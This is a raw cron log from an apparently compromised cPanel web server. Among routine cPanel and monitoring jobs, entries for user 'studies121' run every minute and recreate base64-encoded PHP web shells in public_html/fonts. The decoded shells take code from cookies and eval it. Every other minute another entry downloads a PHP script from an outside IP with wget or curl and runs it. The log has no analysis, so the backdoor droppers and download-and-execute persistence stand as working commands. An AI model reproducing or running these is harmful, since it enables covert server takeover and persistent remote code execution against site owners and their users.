Sep  6 11:39:01 ip-184-168-122-23 CROND[12771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:39:01 ip-184-168-122-23 CROND[12772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:39:01 ip-184-168-122-23 CROND[12774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:39:01 ip-184-168-122-23 CROND[12776]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 11:39:01 ip-184-168-122-23 CROND[12773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:40:01 ip-184-168-122-23 CROND[13120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:40:01 ip-184-168-122-23 CROND[13122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:40:01 ip-184-168-122-23 CROND[13124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:40:01 ip-184-168-122-23 CROND[13130]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:40:01 ip-184-168-122-23 CROND[13127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:40:01 ip-184-168-122-23 CROND[13129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:40:01 ip-184-168-122-23 CROND[13128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:40:01 ip-184-168-122-23 CROND[13131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:41:01 ip-184-168-122-23 CROND[13487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:41:01 ip-184-168-122-23 CROND[13490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:41:01 ip-184-168-122-23 CROND[13488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:41:01 ip-184-168-122-23 CROND[13489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:42:01 ip-184-168-122-23 CROND[13904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:42:01 ip-184-168-122-23 CROND[13903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:42:01 ip-184-168-122-23 CROND[13907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:42:01 ip-184-168-122-23 CROND[13910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:42:01 ip-184-168-122-23 CROND[13909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:43:01 ip-184-168-122-23 CROND[14179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:43:01 ip-184-168-122-23 CROND[14182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:43:01 ip-184-168-122-23 CROND[14180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:43:01 ip-184-168-122-23 CROND[14181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:44:01 ip-184-168-122-23 CROND[14512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:44:01 ip-184-168-122-23 CROND[14513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:44:01 ip-184-168-122-23 CROND[14515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:44:01 ip-184-168-122-23 CROND[14516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:44:01 ip-184-168-122-23 CROND[14514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:45:01 ip-184-168-122-23 CROND[14815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:45:01 ip-184-168-122-23 CROND[14817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:45:01 ip-184-168-122-23 CROND[14818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:45:01 ip-184-168-122-23 CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:45:01 ip-184-168-122-23 CROND[14821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:45:01 ip-184-168-122-23 CROND[14820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:46:02 ip-184-168-122-23 CROND[15164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:46:02 ip-184-168-122-23 CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:46:02 ip-184-168-122-23 CROND[15174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:46:02 ip-184-168-122-23 CROND[15176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:46:02 ip-184-168-122-23 CROND[15175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:46:02 ip-184-168-122-23 CROND[15177]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:46:02 ip-184-168-122-23 CROND[15178]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 11:47:01 ip-184-168-122-23 CROND[15501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:47:01 ip-184-168-122-23 CROND[15505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:47:01 ip-184-168-122-23 CROND[15503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:47:01 ip-184-168-122-23 CROND[15504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:48:01 ip-184-168-122-23 CROND[15945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:48:01 ip-184-168-122-23 CROND[15947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:48:01 ip-184-168-122-23 CROND[15950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:48:01 ip-184-168-122-23 CROND[15948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:48:01 ip-184-168-122-23 CROND[15949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:49:01 ip-184-168-122-23 CROND[16220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:49:01 ip-184-168-122-23 CROND[16223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:49:01 ip-184-168-122-23 CROND[16224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:49:01 ip-184-168-122-23 CROND[16222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:50:01 ip-184-168-122-23 CROND[16592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:50:01 ip-184-168-122-23 CROND[16594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:50:01 ip-184-168-122-23 CROND[16600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:50:01 ip-184-168-122-23 CROND[16596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:50:01 ip-184-168-122-23 CROND[16599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:50:01 ip-184-168-122-23 CROND[16597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:50:01 ip-184-168-122-23 CROND[16602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:50:01 ip-184-168-122-23 CROND[16601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:50:01 ip-184-168-122-23 CROND[16598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:51:01 ip-184-168-122-23 CROND[16886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
